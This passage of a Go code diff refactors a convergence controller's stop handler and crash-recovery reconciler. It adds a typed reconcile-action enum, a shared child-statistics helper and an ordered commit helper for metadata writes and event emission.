@@ -364,59 +356,7 @@ func (h *Handler) StopHandler(ctx context.Context, beadID, username, _ string) (
 	// Compute cumulative duration for terminated event.
 	_, cumDur := h.computeDurations(beadID, eventWispID)
 
-	// Step 6: Write ordering: terminal_reason, terminal_actor, clear waiting_reason,
-	// then state=terminated.
-	if err := h.Store.SetMetadata(beadID, FieldTerminalReason, TerminalStopped); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting terminal reason: %w", err)
-	}
-	if err := h.Store.SetMetadata(beadID, FieldTerminalActor, actor); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting terminal actor: %w", err)
-	}
-	if err := h.Store.SetMetadata(beadID, FieldWaitingReason, ""); err != nil {
-		return HandlerResult{}, fmt.Errorf("clearing waiting reason: %w", err)
-	}
-	if err := h.Store.SetMetadata(beadID, FieldState, StateTerminated); err != nil {
-		return HandlerResult{}, fmt.Errorf("setting state to terminated: %w", err)
-	}
-
-	// Step 7a: Emit synthetic ConvergenceIteration for force-closed wisp
-	// BEFORE CloseBead — TierCritical requires at-least-once delivery.
-	if forceClosedWisp && activeWisp != "" {
-		wispIteration := iterationCount // force-closed wisp is the latest
-		iterDur, synthCumDur := h.computeDurations(beadID, activeWisp)
-		gateMode := meta[FieldGateMode]
-		if gateMode == "" {
-			gateMode = GateModeManual
-		}
-		synthPayload := IterationPayload{
-			Iteration:            wispIteration,
-			WispID:               activeWisp,
-			Action:               string(ActionStopped),
-			GateMode:             gateMode,
-			IterationDurationMs:  iterDur.Milliseconds(),
-			CumulativeDurationMs: synthCumDur.Milliseconds(),
-		}
-		h.emitEvent(EventIteration, EventIDIteration(beadID, wispIteration), beadID, synthPayload)
-	}
-
-	// Step 7b: Emit EventTerminated BEFORE CloseBead — TierCritical requires
-	// at-least-once delivery, so it must be emitted while the bead is still
-	// open for reconciliation replay if the controller crashes.
-	termPayload := TerminatedPayload{
-		TerminalReason:       TerminalStopped,
-		TotalIterations:      iterationCount,
-		FinalStatus:          "closed",
-		Actor:                actor,
-		CumulativeDurationMs: cumDur.Milliseconds(),
-	}
-	h.emitEvent(EventTerminated, EventIDTerminated(beadID), beadID, termPayload)
-
-	// Step 8: CloseBead.
-	if err := h.Store.CloseBead(beadID, CloseReasonManualStop); err != nil {
-		return HandlerResult{}, fmt.Errorf("closing bead %q: %w", beadID, err)
-	}
-
-	// Step 9: Emit ManualStop AFTER CloseBead — TierBestEffort, fire-and-forget.
+	// Step 9: ManualStop is emitted AFTER CloseBead — TierBestEffort, fire-and-forget.
 	stopPayload := ManualActionPayload{
 		Actor:      actor,
 		PriorState: state,
@@ -424,18 +364,69 @@ func (h *Handler) StopHandler(ctx context.Context, beadID, username, _ string) (
 		Iteration:  iterationCount,
 		WispID:     NullableString(eventWispID),
 	}
-	h.emitEvent(EventManualStop, EventIDManualStop(beadID), beadID, stopPayload)
 
-	// Step 10: last_processed_wisp LAST — dedup marker contract.
-	// After force-close, the force-closed wisp becomes the highest closed wisp.
+	// Step 10: after force-close, the force-closed wisp becomes the highest
+	// closed wisp, so it is the dedup marker.
 	finalLPW := lastProcessedWisp
 	if forceClosedWisp && activeWisp != "" {
 		finalLPW = activeWisp
 	}
-	if finalLPW != "" {
-		if err := h.Store.SetMetadata(beadID, FieldLastProcessedWisp, finalLPW); err != nil {
-			return HandlerResult{}, fmt.Errorf("setting last processed wisp: %w", err)
-		}
+
+	// Steps 6-10 commit: terminal_reason, terminal_actor, clear waiting_reason,
+	// state=terminated; then (7a synthetic iteration, 7b EventTerminated,
+	// 8 CloseBead, 9 ManualStop) before the dedup marker; last_processed_wisp LAST.
+	if err := h.commit(beadID,
+		[]metaWrite{
+			{FieldTerminalReason, TerminalStopped, "setting terminal reason"},
+			{FieldTerminalActor, actor, "setting terminal actor"},
+			{FieldWaitingReason, "", "clearing waiting reason"},
+			{FieldState, StateTerminated, "setting state to terminated"},
+		},
+		func() error {
+			// Step 7a: Emit synthetic ConvergenceIteration for force-closed wisp
+			// BEFORE CloseBead — TierCritical requires at-least-once delivery.
+			if forceClosedWisp && activeWisp != "" {
+				wispIteration := iterationCount // force-closed wisp is the latest
+				iterDur, synthCumDur := h.computeDurations(beadID, activeWisp)
+				gateMode := meta[FieldGateMode]
+				if gateMode == "" {
+					gateMode = GateModeManual
+				}
+				synthPayload := IterationPayload{
+					Iteration:            wispIteration,
+					WispID:               activeWisp,
+					Action:               string(ActionStopped),
+					GateMode:             gateMode,
+					IterationDurationMs:  iterDur.Milliseconds(),
+					CumulativeDurationMs: synthCumDur.Milliseconds(),
+				}
+				h.emitEvent(EventIteration, EventIDIteration(beadID, wispIteration), beadID, synthPayload)
+			}
+
+			// Step 7b: Emit EventTerminated BEFORE CloseBead — TierCritical requires
+			// at-least-once delivery, so it must be emitted while the bead is still
+			// open for reconciliation replay if the controller crashes.
+			termPayload := TerminatedPayload{
+				TerminalReason:       TerminalStopped,
+				TotalIterations:      iterationCount,
+				FinalStatus:          "closed",
+				Actor:                actor,
+				CumulativeDurationMs: cumDur.Milliseconds(),
+			}
+			h.emitEvent(EventTerminated, EventIDTerminated(beadID), beadID, termPayload)
+
+			// Step 8: CloseBead.
+			if err := h.Store.CloseBead(beadID, CloseReasonManualStop); err != nil {
+				return fmt.Errorf("closing bead %q: %w", beadID, err)
+			}
+
+			// Step 9: Emit ManualStop AFTER CloseBead.
+			h.emitEvent(EventManualStop, EventIDManualStop(beadID), beadID, stopPayload)
+			return nil
+		},
+		metaWrite{FieldLastProcessedWisp, finalLPW, "setting last processed wisp"},
+	); err != nil {
+		return HandlerResult{}, err
 	}
 
 	return HandlerResult{
@@ -483,37 +474,14 @@ func (h *Handler) recoverCurrentActiveWisp(beadID, lastProcessedWisp string) (Be
 		return BeadInfo{}, false, nil
 	}
 
-	var bestOpen BeadInfo
-	bestOpenIter := -1
-	var bestClosed BeadInfo
-	bestClosedIter := -1
-	prefix := IdempotencyKeyPrefix(beadID)
-	for _, child := range children {
-		if !strings.HasPrefix(child.IdempotencyKey, prefix) {
-			continue
-		}
-		iter, ok := ParseIterationFromKey(child.IdempotencyKey)
-		if !ok {
-			continue
-		}
-		switch child.Status {
-		case "open", "in_progress":
-			if iter > bestOpenIter {
-				bestOpen = child
-				bestOpenIter = iter
-			}
-		case "closed":
-			if iter > bestClosedIter {
-				bestClosed = child
-				bestClosedIter = iter
-			}
-		}
-	}
-	if bestOpenIter >= 0 {
-		return bestOpen, true, nil
+	// Fall back to the highest-iteration open wisp, then the highest-iteration
+	// closed wisp, among the convergence children.
+	stats := childStats(children, beadID)
+	if stats.HighestOpenFound {
+		return stats.HighestOpen, true, nil
 	}
-	if bestClosedIter >= 0 {
-		return bestClosed, true, nil
+	if stats.HighestClosedFound {
+		return stats.HighestClosed, true, nil
 	}
 	return BeadInfo{}, false, nil
 }
diff --git a/internal/convergence/reconcile.go b/internal/convergence/reconcile.go
index 6288a05a29..362e0db816 100644
--- a/internal/convergence/reconcile.go
+++ b/internal/convergence/reconcile.go
@@ -4,16 +4,28 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"strings"
 
 	"github.com/gastownhall/gascity/internal/beads"
 )
 
+// ReconcileAction names the outcome of reconciling a single bead. The values
+// are stable and surface verbatim in ReconcileReport details.
+type ReconcileAction string
+
+// ReconcileAction values describing what a recovery path did.
+const (
+	ActionNoAction          ReconcileAction = "no_action"
+	ActionCompletedTerminal ReconcileAction = "completed_terminal"
+	ActionAdoptedWisp       ReconcileAction = "adopted_wisp"
+	ActionPouredWisp        ReconcileAction = "poured_wisp"
+	ActionRepairedState     ReconcileAction = "repaired_state"
+)
+
 // ReconcileDetail records the outcome of reconciling a single bead.
 type ReconcileDetail struct {
 	BeadID string
-	Action string // "completed_terminal", "adopted_wisp", "poured_wisp", "repaired_state", "no_action"
-	Error  error  // nil if successful
+	Action ReconcileAction
+	Error  error // nil if successful
 }
 
 // ReconcileReport summarizes a full reconciliation pass.
@@ -50,7 +62,7 @@ func (r *Reconciler) ReconcileBeads(ctx context.Context, beadIDs []string) (Reco
 		report.Details = append(report.Details, detail)
 		if detail.Error != nil {
 			report.Errors++
-		} else if detail.Action != "no_action" {
+		} else if detail.Action != ActionNoAction {
 			report.Recovered++
 		}
 	}
@@ -60,11 +72,19 @@ func (r *Reconciler) ReconcileBeads(ctx context.Context, beadIDs []string) (Reco
 
 // reconcileBead inspects a single convergence bead and performs whatever
 // recovery action is needed.  It never returns an error directly —
-// errors are captured in the returned ReconcileDetail.
+// the (action, error) result of the chosen recovery path is wrapped into
+// the returned ReconcileDetail at this single site.
 func (r *Reconciler) reconcileBead(ctx context.Context, beadID string) ReconcileDetail {
+	action, err := r.reconcileState(ctx, beadID)
+	return ReconcileDetail{BeadID: beadID, Action: action, Error: err}
+}
+
+// reconcileState reads the bead's convergence state and dispatches to the
+// recovery path for that state, returning the resulting (action, error).
+func (r *Reconciler) reconcileState(ctx context.Context, beadID string) (ReconcileAction, error) {
 	meta, err := r.Handler.Store.GetMetadata(beadID)
 	if err != nil {
-		return ReconcileDetail{BeadID: beadID, Action: "no_action", Error: fmt.Errorf("reading metadata: %w", err)}
+		return ActionNoAction, fmt.Errorf("reading metadata: %w", err)
 	}
 
 	state := meta[FieldState]
@@ -99,42 +119,30 @@ func (r *Reconciler) reconcileBead(ctx context.Context, beadID string) Reconcile
 		return r.reconcileActive(ctx, beadID, meta)
 
 	default:
-		return ReconcileDetail{
-			BeadID: beadID, Action: "no_action",
-			Error: fmt.Errorf("unknown convergence state %q", state),
-		}
+		return ActionNoAction, fmt.Errorf("unknown convergence state %q", state)
 	}
 }
 
 // --- Path 1: Missing/empty state ---
 
-func (r *Reconciler) reconcileMissingState(ctx context.Context, beadID string, meta map[string]string) ReconcileDetail {
+func (r *Reconciler) reconcileMissingState(ctx context.Context, beadID string, meta map[string]string) (ReconcileAction, error) {
 	// Check if there is already a wisp for iteration 1 (idempotency key
 	// lookup).
 	key1 := IdempotencyKey(beadID, 1)
 	existingID, found, err := r.Handler.Store.FindByIdempotencyKey(key1)
 	if err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "no_action",
-			Error: fmt.Errorf("looking up iter-1 wisp: %w", err),
-		}
+		return ActionNoAction, fmt.Errorf("looking up iter-1 wisp: %w", err)
 	}
 
 	if found {
 		// Wisp exists — adopt it, but check if it's already closed.
 		wispInfo, err := r.Handler.Store.GetBead(existingID)
 		if err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "adopted_wisp",
-				Error: fmt.Errorf("reading wisp %q info: %w", existingID, err),
-			}
+			return ActionAdoptedWisp, fmt.Errorf("reading wisp %q info: %w", existingID, err)
 		}
 
 		if err := r.Handler.Store.SetMetadata(beadID, FieldActiveWisp, existingID); err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "adopted_wisp",
-				Error: fmt.Errorf("setting active_wisp: %w", err),
-			}
+			return ActionAdoptedWisp, fmt.Errorf("setting active_wisp: %w", err)
 		}
 		// Set iteration to match the adopted wisp: 1 if closed (we know
 		// iteration 1 exists), 0 if still open (HandleWispClosed will
@@ -144,30 +152,21 @@ func (r *Reconciler) reconcileMissingState(ctx context.Context, beadID string, m
 			adoptedIteration = 1
 		}
 		if err := r.Handler.Store.SetMetadata(beadID, FieldIteration, EncodeInt(adoptedIteration)); err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "adopted_wisp",
-				Error: fmt.Errorf("setting iteration: %w", err),
-			}
+			return ActionAdoptedWisp, fmt.Errorf("setting iteration: %w", err)
 		}
 		if err := r.Handler.Store.SetMetadata(beadID, FieldState, StateActive); err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "adopted_wisp",
-				Error: fmt.Errorf("setting state: %w", err),
-			}
+			return ActionAdoptedWisp, fmt.Errorf("setting state: %w", err)
 		}
 
 		// If the adopted wisp is already closed, replay the transition
 		// so the convergence loop doesn't stall in active with a dead wisp.
 		if wispInfo.Status == "closed" {
 			if _, err := r.Handler.HandleWispClosed(ctx, beadID, existingID); err != nil {
-				return ReconcileDetail{
-					BeadID: beadID, Action: "adopted_wisp",
-					Error: fmt.Errorf("replaying wisp_closed for adopted wisp %q: %w", existingID, err),
-				}
+				return ActionAdoptedWisp, fmt.Errorf("replaying wisp_closed for adopted wisp %q: %w", existingID, err)
 			}
 		}
 
-		return ReconcileDetail{BeadID: beadID, Action: "adopted_wisp"}
+		return ActionAdoptedWisp, nil
 	}
 
 	// No wisp exists — pour the first one.
@@ -177,90 +176,62 @@ func (r *Reconciler) reconcileMissingState(ctx context.Context, beadID string, m
 
 	wispID, err := r.Handler.Store.PourWisp(beadID, formula, key1, vars, evaluatePrompt)
 	if err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "poured_wisp",
-			Error: fmt.Errorf("pouring first wisp: %w", err),
-		}
+		return ActionPouredWisp, fmt.Errorf("pouring first wisp: %w", err)
 	}
 
 	if err := r.Handler.Store.SetMetadata(beadID, FieldActiveWisp, wispID); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "poured_wisp",
-			Error: fmt.Errorf("setting active_wisp: %w", err),
-		}
+		return ActionPouredWisp, fmt.Errorf("setting active_wisp: %w", err)
 	}
 	if err := r.Handler.Store.SetMetadata(beadID, FieldIteration, EncodeInt(0)); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "poured_wisp",
-			Error: fmt.Errorf("setting iteration: %w", err),
-		}
+		return ActionPouredWisp, fmt.Errorf("setting iteration: %w", err)
 	}
 	if err := r.Handler.Store.SetMetadata(beadID, FieldState, StateActive); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "poured_wisp",
-			Error: fmt.Errorf("setting state: %w", err),
-		}
+		return ActionPouredWisp, fmt.Errorf("setting state: %w", err)
 	}
 
-	return ReconcileDetail{BeadID: beadID, Action: "poured_wisp"}
+	return ActionPouredWisp, nil
 }
 
 // --- Path 1b: state=creating (partial creation) ---
 
-func (r *Reconciler) reconcileCreating(beadID string) ReconcileDetail {
+func (r *Reconciler) reconcileCreating(beadID string) (ReconcileAction, error) {
 	if err := r.Handler.Store.SetMetadata(beadID, FieldTerminalReason, TerminalPartialCreation); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("setting terminal_reason: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("setting terminal_reason: %w", err)
 	}
 	if err := r.Handler.Store.SetMetadata(beadID, FieldTerminalActor, "recovery"); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("setting terminal_actor: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("setting terminal_actor: %w", err)
 	}
 	if err := r.Handler.Store.SetMetadata(beadID, FieldState, StateTerminated); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("setting state to terminated: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("setting state to terminated: %w", err)
 	}
 	if err := r.Handler.Store.CloseBead(beadID, CloseReasonReconcileDone); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("closing bead: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("closing bead: %w", err)
 	}
-	return ReconcileDetail{BeadID: beadID, Action: "completed_terminal"}
+	return ActionCompletedTerminal, nil
 }
 
 // --- Path 2: state=terminated but bead not closed ---
 
-func (r *Reconciler) reconcileTerminatedNotClosed(beadID string, meta map[string]string) ReconcileDetail {
+func (r *Reconciler) reconcileTerminatedNotClosed(beadID string, meta map[string]string) (ReconcileAction, error) {
 	// Check if the bead is actually already closed.
 	beadInfo, err := r.Handler.Store.GetBead(beadID)
 	if err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "no_action",
-			Error: fmt.Errorf("reading bead info: %w", err),
-		}
+		return ActionNoAction, fmt.Errorf("reading bead info: %w", err)
 	}
 	if beadInfo.Status == "closed" {
 		// Already fully terminated.
-		return ReconcileDetail{BeadID: beadID, Action: "no_action"}
+		return ActionNoAction, nil
 	}
 
 	// Backfill terminal_actor if missing.
 	if err := r.backfillTerminalActor(beadID, meta); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("backfilling terminal_actor: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("backfilling terminal_actor: %w", err)
 	}
 
-	// Derive total iterations for the terminated event.
-	totalIterations, _ := r.deriveIterationFromChildrenViaStore(beadID)
+	// Derive iteration count and cumulative duration for the terminated event
+	// from a single child fetch (best-effort: zeros on error).
+	children, _ := r.Handler.Store.Children(beadID)
+	stats := childStats(children, beadID)
 
 	// Emit ConvergenceTerminated (recovery).
 	reason := meta[FieldTerminalReason]
@@ -272,32 +243,26 @@ func (r *Reconciler) reconcileTerminatedNotClosed(beadID string, meta map[string
 		actor = "recovery"
 	}
 
-	// Compute cumulative duration (best-effort).
-	cumDur := r.cumulativeDuration(beadID)
-
 	termPayload := TerminatedPayload{
 		TerminalReason:       reason,
-		TotalIterations:      totalIterations,
+		TotalIterations:      stats.ClosedCount,
 		FinalStatus:          "closed",
 		Actor:                actor,
-		CumulativeDurationMs: cumDur,
+		CumulativeDurationMs: stats.CumulativeDur.Milliseconds(),
 	}
 	r.emitRecoveryEvent(EventTerminated, EventIDTerminated(beadID), beadID, termPayload)
 
 	// Close the bead.
 	if err := r.Handler.Store.CloseBead(beadID, CloseReasonReconcileDone); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("closing bead: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("closing bead: %w", err)
 	}
 
-	return ReconcileDetail{BeadID: beadID, Action: "completed_terminal"}
+	return ActionCompletedTerminal, nil
 }
 
 // --- Path 3: state=waiting_manual ---
 
-func (r *Reconciler) reconcileWaitingManual(beadID string, meta map[string]string) ReconcileDetail {
+func (r *Reconciler) reconcileWaitingManual(beadID string, meta map[string]string) (ReconcileAction, error) {
 	terminalReason := meta[FieldTerminalReason]
 	waitingReason := meta[FieldWaitingReason]
 
@@ -314,36 +279,33 @@ func (r *Reconciler) reconcileWaitingManual(beadID string, meta map[string]strin
 		// event was lost in a crash.
 		iteration, _ := DecodeInt(meta[FieldIteration])
 		wispID := meta[FieldLastProcessedWisp]
-		cumDur := r.cumulativeDuration(beadID)
+		// One child fetch feeds both the cumulative duration (best-effort:
+		// zero on error) and the last_processed_wisp repair below.
+		children, childErr := r.Handler.Store.Children(beadID)
+		stats := childStats(children, beadID)
 		wmPayload := WaitingManualPayload{
 			Iteration:            iteration,
 			WispID:               wispID,
 			GateMode:             meta[FieldGateMode],
 			Reason:               waitingReason,
-			CumulativeDurationMs: cumDur,
+			CumulativeDurationMs: stats.CumulativeDur.Milliseconds(),
 		}
 		r.emitRecoveryEvent(EventWaitingManual, EventIDWaitingManual(beadID, iteration), beadID, wmPayload)
 
 		// Repair last_processed_wisp if needed: find the highest-iteration
 		// closed wisp and ensure last_processed_wisp points to it.
-		children, err := r.Handler.Store.Children(beadID)
-		if err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "no_action",
-				Error: fmt.Errorf("listing children: %w", err),
+		// S31 single-fetch: childErr/stats come from the Children() call above;
+		// no redundant re-fetch. S33 flattened (action, error) return shape.
+		if childErr != nil {
+			return ActionNoAction, fmt.Errorf("listing children: %w", childErr)
+		}
+		if stats.HighestClosedFound && meta[FieldLastProcessedWisp] != stats.HighestClosed.ID {
+			if err := r.Handler.Store.SetMetadata(beadID, FieldLastProcessedWisp, stats.HighestClosed.ID); err != nil {
+				return ActionRepairedState, fmt.Errorf("repairing last_processed_wisp: %w", err)
 			}
+			return ActionRepairedState, nil
 		}
-		highestWisp, _, found := highestClosedWisp(children, beadID)
-		if found && meta[FieldLastProcessedWisp] != highestWisp.ID {
-			if err := r.Handler.Store.SetMetadata(beadID, FieldLastProcessedWisp, highestWisp.ID); err != nil {
-				return ReconcileDetail{
-					BeadID: beadID, Action: "repaired_state",
-					Error: fmt.Errorf("repairing last_processed_wisp: %w", err),
-				}
-			}
-			return ReconcileDetail{BeadID: beadID, Action: "repaired_state"}
-		}
-		return ReconcileDetail{BeadID: beadID, Action: "no_action"}
+		return ActionNoAction, nil
 	}
 
 	// Sub-path C: no waiting_reason, no terminal_reason — orphaned state.
@@ -351,29 +313,22 @@ func (r *Reconciler) reconcileWaitingManual(beadID string, meta map[string]strin
 	// just repair the waiting_reason so the loop is in a known state.
 	children, err := r.Handler.Store.Children(beadID)
 	if err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "no_action",
-			Error: fmt.Errorf("listing children: %w", err),
-		}
+		return ActionNoAction, fmt.Errorf("listing children: %w", err)
 	}
-	_, _, found := highestClosedWisp(children, beadID)
-	if found {
+	if childStats(children, beadID).HighestClosedFound {
 		// There are closed wisps but no waiting_reason — set a default.
 		if err := r.Handler.Store.SetMetadata(beadID, FieldWaitingReason, WaitManual); err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "repaired_state",
-				Error: fmt.Errorf("setting default waiting_reason: %w", err),
-			}
+			return ActionRepairedState, fmt.Errorf("setting default waiting_reason: %w", err)
 		}
-		return ReconcileDetail{BeadID: beadID, Action: "repaired_state"}
+		return ActionRepairedState, nil
 	}
 
-	return ReconcileDetail{BeadID: beadID, Action: "no_action"}
+	return ActionNoAction, nil
 }
 
 // --- Path 3t: state=waiting_trigger ---
 
-func (r *Reconciler) reconcileWaitingTrigger(beadID string, meta map[string]string) ReconcileDetail {
+func (r *Reconciler) reconcileWaitingTrigger(beadID string, meta map[string]string) (ReconcileAction, error) {
 	// A stop requested while waiting on the trigger may have crashed before
 	// the terminal transition completed.
 	if meta[FieldTerminalReason] != "" {
@@ -381,12 +336,12 @@ func (r *Reconciler) reconcileWaitingTrigger(beadID string, meta map[string]stri
 	}
 	// Otherwise nothing to repair: no wisp is in flight and the controller
 	// tick re-evaluates the trigger condition.
-	return ReconcileDetail{BeadID: beadID, Action: "no_action"}
+	return ActionNoAction, nil
 }
 
 // --- Path 4: state=active ---
 
-func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta map[string]string) ReconcileDetail {
+func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta map[string]string) (ReconcileAction, error) {
 	// Sub-path A: terminal_reason set — a stop was requested while active
 	// but the transition crashed before completing.
 	if meta[FieldTerminalReason] != "" {
@@ -401,17 +356,11 @@ func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta ma
 		wispInfo, err := r.Handler.Store.GetBead(activeWispID)
 		if err != nil {
 			if !errors.Is(err, beads.ErrNotFound) {
-				return ReconcileDetail{
-					BeadID: beadID, Action: "no_action",
-					Error: fmt.Errorf("reading active wisp %q: %w", activeWispID, err),
-				}
+				return ActionNoAction, fmt.Errorf("reading active wisp %q: %w", activeWispID, err)
 			}
 			recoveredWisp, found, recoverErr := r.Handler.recoverCurrentActiveWisp(beadID, meta[FieldLastProcessedWisp])
 			if recoverErr != nil {
-				return ReconcileDetail{
-					BeadID: beadID, Action: "no_action",
-					Error: recoverErr,
-				}
+				return ActionNoAction, recoverErr
 			}
 			if !found {
 				// A crashed loop can leave active_wisp pointing at a bead that
@@ -427,20 +376,16 @@ func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta ma
 		if activeWispID != "" {
 			if recoveredActiveWisp {
 				if err := r.Handler.Store.SetMetadata(beadID, FieldActiveWisp, activeWispID); err != nil {
-					return ReconcileDetail{
-						BeadID: beadID, Action: "repaired_state",
-						Error: fmt.Errorf("setting recovered active wisp %q: %w", activeWispID, err),
-					}
+					return ActionRepairedState, fmt.Errorf("setting recovered active wisp %q: %w", activeWispID, err)
 				}
 			}
 			switch wispInfo.Status {
 			case "open", "in_progress":
 				// Wisp still running — nothing to do.
-				action := "no_action"
 				if recoveredActiveWisp {
-					action = "repaired_state"
+					return ActionRepairedState, nil
 				}
-				return ReconcileDetail{BeadID: beadID, Action: action}
+				return ActionNoAction, nil
 
 			case "closed":
 				// Wisp is closed. Check if it was already processed.
@@ -449,25 +394,17 @@ func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta ma
 					// Already processed — check if the commit completed.
 					// The commit was done because last_processed_wisp is
 					// set (it is always the last write). Nothing to do.
-					return ReconcileDetail{BeadID: beadID, Action: "no_action"}
+					return ActionNoAction, nil
 				}
 
 				// Closed but not processed — replay the wisp_closed event.
-				result, err := r.Handler.HandleWispClosed(ctx, beadID, activeWispID)
-				if err != nil {
-					return ReconcileDetail{
-						BeadID: beadID, Action: "repaired_state",
-						Error: fmt.Errorf("replaying wisp_closed for %q: %w", activeWispID, err),
-					}
+				if _, err := r.Handler.HandleWispClosed(ctx, beadID, activeWispID); err != nil {
+					return ActionRepairedState, fmt.Errorf("replaying wisp_closed for %q: %w", activeWispID, err)
 				}
-				_ = result
-				return ReconcileDetail{BeadID: beadID, Action: "repaired_state"}
+				return ActionRepairedState, nil
 
 			default:
-				return ReconcileDetail{
-					BeadID: beadID, Action: "no_action",
-					Error: fmt.Errorf("active wisp %q has unexpected status %q", activeWispID, wispInfo.Status),
-				}
+				return ActionNoAction, fmt.Errorf("active wisp %q has unexpected status %q", activeWispID, wispInfo.Status)
 			}
 		}
 	}
@@ -476,18 +413,15 @@ func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta ma
 	// adopt the next wisp.
 	children, err := r.Handler.Store.Children(beadID)
 	if err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "no_action",
-			Error: fmt.Errorf("listing children: %w", err),
-		}
+		return ActionNoAction, fmt.Errorf("listing children: %w", err)
 	}
 
-	closedIter := deriveIterationFromChildren(children, beadID)
+	closedIter := childStats(children, beadID).ClosedCount
 	nextIter := closedIter + 1
 	nextKey := IdempotencyKey(beadID, nextIter)
 
 	var wispID string
-	action := "adopted_wisp"
+	action := ActionAdoptedWisp
 
 	if pendingID := r.Handler.validPendingNextWisp(beadID, nextKey, meta[FieldPendingNextWisp]); pendingID != "" {
 		wispID = pendingID
@@ -495,10 +429,7 @@ func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta ma
 		// Check if a wisp for the next iteration already exists.
 		existingID, found, err := r.Handler.Store.FindByIdempotencyKey(nextKey)
 		if err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "no_action",
-				Error: fmt.Errorf("looking up next wisp: %w", err),
-			}
+			return ActionNoAction, fmt.Errorf("looking up next wisp: %w", err)
 		}
 
 		if found {
@@ -511,44 +442,32 @@ func (r *Reconciler) reconcileActive(ctx context.Context, beadID string, meta ma
 
 			wispID, err = r.Handler.Store.PourWisp(beadID, formula, nextKey, vars, evaluatePrompt)
 			if err != nil {
-				return ReconcileDetail{
-					BeadID: beadID, Action: "poured_wisp",
-					Error: fmt.Errorf("pouring wisp for iter %d: %w", nextIter, err),
-				}
+				return ActionPouredWisp, fmt.Errorf("pouring wisp for iter %d: %w", nextIter, err)
 			}
-			action = "poured_wisp"
+			action = ActionPouredWisp
 		}
 	}
 
 	if err := r.Handler.Store.ActivateWisp(wispID); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: action,
-			Error: fmt.Errorf("activating wisp %q: %w", wispID, err),
-		}
+		return action, fmt.Errorf("activating wisp %q: %w", wispID, err)
 	}
 
 	if err := r.Handler.Store.SetMetadata(beadID, FieldActiveWisp, wispID); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: action,
-			Error: fmt.Errorf("setting active_wisp: %w", err),
-		}
+		return action, fmt.Errorf("setting active_wisp: %w", err)
 	}
 	_ = r.Handler.Store.SetMetadata(beadID, FieldPendingNextWisp, "")
 
-	return ReconcileDetail{BeadID: beadID, Action: action}
+	return action, nil
 }
 
 // --- Shared helpers ---
 
 // completeTerminalTransition finishes a terminal transition that was
 // interrupted.  Used by both Path 3A and Path 4A.
-func (r *Reconciler) completeTerminalTransition(beadID string, meta map[string]string) ReconcileDetail {
+func (r *Reconciler) completeTerminalTransition(beadID string, meta map[string]string) (ReconcileAction, error) {
 	// Backfill terminal_actor if missing.
 	if err := r.backfillTerminalActor(beadID, meta); err != nil {
-		return ReconcileDetail{
-			BeadID: beadID, Action: "completed_terminal",
-			Error: fmt.Errorf("backfilling terminal_actor: %w", err),
-		}
+		return ActionCompletedTerminal, fmt.Errorf("backfilling terminal_actor: %w", err)
 	}
 
 	reason := meta[FieldTerminalReason]
@@ -557,46 +476,41 @@ func (r *Reconciler) completeTerminalTransition(beadID string, meta map[string]s
 		actor = "recovery"
 	}
 
-	totalIterations, _ := r.deriveIterationFromChildrenViaStore(beadID)
-	cumDur := r.cumulativeDuration(beadID)
+	// One child fetch feeds the iteration count, cumulative duration, and the
+	// last_processed_wisp repair below. The intervening writes only touch the
+	// parent bead's metadata/status, not its children, so the highest closed
+	// wisp is unchanged by the time we write it (best-effort: zeros on error).
+	children, _ := r.Handler.Store.Children(beadID)
+	stats := childStats(children, beadID)
 
 	termPayload := TerminatedPayload{
 		TerminalReason:       reason,
-		TotalIterations:      totalIterations,
+		TotalIterations:      stats.ClosedCount,
 		FinalStatus:          "closed",
 		Actor:                actor,
-		CumulativeDurationMs: cumDur,
+		CumulativeDurationMs: stats.CumulativeDur.Milliseconds(),
 	}
 	r.emitRecoveryEvent(EventTerminated, EventIDTerminated(beadID), beadID, termPayload)
 
 	// Write state=terminated if not already set.
 	if meta[FieldState] != StateTerminated {
 		if err := r.Handler.Store.SetMetadata(beadID, FieldState, StateTerminated); err != nil {
-			return ReconcileDetail{
-				BeadID: beadID, Action: "completed_terminal",
